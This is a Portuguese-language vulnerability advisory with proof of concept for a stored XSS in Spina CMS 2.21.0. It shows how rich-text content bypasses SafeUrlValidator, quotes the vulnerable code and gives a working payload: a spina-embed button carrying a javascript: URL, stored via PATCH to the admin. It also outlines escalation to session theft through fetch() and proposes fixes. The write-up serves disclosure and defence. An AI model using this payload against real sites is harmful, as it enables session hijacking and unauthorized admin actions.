
Prova de conceito e análise técnica para CVE-2026-117182, um XSS armazenado autenticado no Spina CMS 2.21.0 por meio do bypass do SafeUrlValidator no caminho de renderização de rich-text.
O Spina CMS v2.21.0 permite que um usuário da equipe autenticado realize Cross-Site Scripting Armazenado (XSS) no site público. O Spina::SafeUrlValidator (introduzido no PR #1448) só é executado quando um embed é salvo através do formulário de embed do admin. No entanto, o conteúdo de rich text é salvo através do formulário de edição de página (Spina::Parts::Text), que não aciona essa validação.
Quando uma página é renderizada, o embed é reconstruído a partir do HTML/JSON armazenado por Spina::Embeddable.from_json, que não realiza nenhuma validação, e então é emitido via link_to button.url. Como o documento inteiro é envolvido em um SafeBuffer por RichTextPresenter#to_s, uma URL javascript: armazenada no rich text contorna a validação e se torna um href ativo, levando à execução de script na origem do site público.
Impacto: Um atacante com uma conta autenticada no CMS pode injetar um payload que é executado quando um visitante não autenticado ou um administrador autenticado visualiza a página pública. Isso pode levar ao sequestro de sessão, extração de token CSRF e ações autenticadas não autorizadas em nome de um administrador.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-117182 |
| Registro Oficial | cve.org/CVERecord?id=CVE-2026-117182 |
| Versão Afetada | Spina CMS (gem Ruby) <= 2.21.0 |
| Tipo de Vulnerabilidade | CWE-79: Cross-Site Scripting (XSS Armazenado) |
| Vetor de Ataque | Rede |
| Privilégios Necessários | Baixo (Requer uma conta autenticada no CMS) |
| Componente Afetado | Spina::RichTextPresenter, Spina::Embeddable.from_json, Spina::Admin::PagesController#page_params, app/views/spina/embeds/buttons/_button.html.erb |
| Relatório Original | SpinaCMS/Spina#1452 |
| Caminho do Arquivo | Descrição |
|---|---|
app/presenters/spina/rich_text_presenter.rb | Envolve o documento inteiro em um SafeBuffer sem sanitização. |
lib/spina/embeddable.rb | Reconstrói o embed a partir do JSON sem validar o esquema da URL. |
app/controllers/spina/admin/pages_controller.rb | Permite todos os parâmetros (permit!), contornando a validação em nível de modelo no caminho do rich text. |
app/views/spina/embeds/buttons/_button.html.erb | Emite link_to button.url diretamente para o site público. |
Caminho 1: Formulário de Embed (Validado) O formulário de embed constrói o objeto através do modelo, acionando o validador.
# app/controllers/spina/admin/embeds_controller.rb:9
@embeddable = Spina::Embeds.constantize(embed_type).new(embed_params)
# app/models/spina/embeds/button.rb:7-8
validates :url, :label, presence: true
Caminho 2: Rich Text (Não Validado) O conteúdo rich text é salvo diretamente através dos parâmetros da página e renderizado posteriormente sem validação.
# app/controllers/spina/admin/pages_controller.rb
def page_params
params.require(:page).permit!
end
# lib/spina/embeddable.rb:11-18, reached from rich_text_presenter.rb:37
def from_json(json)
attributes = JSON.parse(json)
attributes.transform_keys!(&:to_sym)
new(attributes)
rescue
Rails.logger.error "[#{self.class.name}] Couldn't parse JSON"
nil
end
O sink onde a URL não sanitizada é renderizada:
<%# app/views/spina/embeds/buttons/_button.html.erb %>
<%= link_to button.url do %>
<%= button.label %>
<% end %>
Fator contribuinte: RichTextPresenter#to_s envolve todo o documento num ActiveSupport::SafeBuffer, o que significa que tudo o que não seja um <figure> incorporado é passado sem alterações.
Spina::Embeds::Button.new(
url: "javascript:void(document.title=String.fromCharCode(88))",
label: "Click me"
).valid?
# => false, "Url must be a relative path or start with http://, https://, mailto: or tel:"
Envie uma requisição PATCH /admin/pages/1 com um token CSRF normal, armazenando o seguinte HTML como conteúdo de qualquer parte Spina::Parts::Text em uma página publicada:
<figure data-trix-content-type="application/vnd+spina.embed+html">
<spina-embed data-embed-type="Spina::Embeds::Button"
data-embed-attributes='{"url":"javascript:void(document.title=String.fromCharCode(88))","label":"Click me"}'>
</spina-embed>
</figure>
Navegue até GET / (sem estar logado). A página retorna:
<a href="javascript:void(document.title=String.fromCharCode(88))">Click me</a>
Um clique real do usuário (usando um evento de entrada confiável, não element.click()) executa o payload. Como ele é executado na própria origem do site, uma requisição fetch() a partir da página pública carregará o cookie de sessão do visitante, permitindo que o atacante leia /admin/users e realize gravações autenticadas.
sanitize() em actions_component.html.erb). O caminho de renderização de rich text nunca foi sanitizado.Embeddable.from_jsonA menor alteração é reaplicar a política de URL exatamente onde os atributos são lidos do JSON armazenado.
def from_json(json)
attributes = JSON.parse(json)
attributes.transform_keys!(&:to_sym)
# Validate URL if present
if attributes[:url] && !SafeUrlValidator.new.safe?(attributes[:url])
return nil
end
new(attributes)
rescue
# ...
end
RichTextPresenterSanitizar na saída em RichTextPresenter resolveria o problema do SafeBuffer, mas exige estender a allowlist com figure, spina-embed e seus atributos data-embed-* para que os embeds existentes continuem a ser renderizados.
| Data | Evento |
|---|---|
| 2026-10-18 | Issue #1452 reportada ao repositório do SpinaCMS |
| 2026-10-30 | Registro oficial da CVE publicado em cve.org |
| — | Aguardando resposta do mantenedor sobre a correção |
Este artigo é fornecido apenas para fins educacionais e defensivos. Todos os testes foram realizados em uma instância hospedada localmente e pertencente ao autor. Não utilize estas técnicas contra sistemas sem autorização escrita explícita.